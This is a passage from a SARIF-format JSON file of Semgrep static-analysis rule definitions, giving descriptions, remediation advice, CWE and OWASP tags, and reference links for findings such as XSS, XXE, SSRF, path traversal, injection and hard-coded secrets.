Rule](https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"helpUri":"https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json","id":"csharp.razor.security.html-raw-json.html-raw-json","name":"csharp.razor.security.html-raw-json.html-raw-json","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.razor.security.html-raw-json.html-raw-json"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe)\n - [https://github.com/astro/node-expat](https://github.com/astro/node-expat)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe","id":"javascript.express.security.express-expat-xxe.express-expat-xxe","name":"javascript.express.security.express-expat-xxe.express-expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-expat-xxe.express-expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"help":{"markdown":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.distributed.security.require-encryption)\n - [https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters](https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters)\n","text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"helpUri":"https://semgrep.dev/r/python.distributed.security.require-encryption","id":"python.distributed.security.require-encryption","name":"python.distributed.security.require-encryption","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.distributed.security.require-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","id":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","name":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"help":{"markdown":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)\n","text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","id":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","name":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","id":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","name":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"help":{"markdown":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall","id":"ruby.lang.security.dangerous-syscall.dangerous-syscall","name":"ruby.lang.security.dangerous-syscall.dangerous-syscall","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-syscall.dangerous-syscall"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","id":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","name":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"help":{"markdown":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","id":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","name":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"help":{"markdown":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path)\n - [https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/](https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/)\n","text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","id":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","name":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","id":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","name":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","id":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","name":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"helpUri":"https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","id":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","name":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.nosql-injection-servlets.nosql-injection-servlets"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"help":{"markdown":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","id":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","name":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","id":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","name":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with 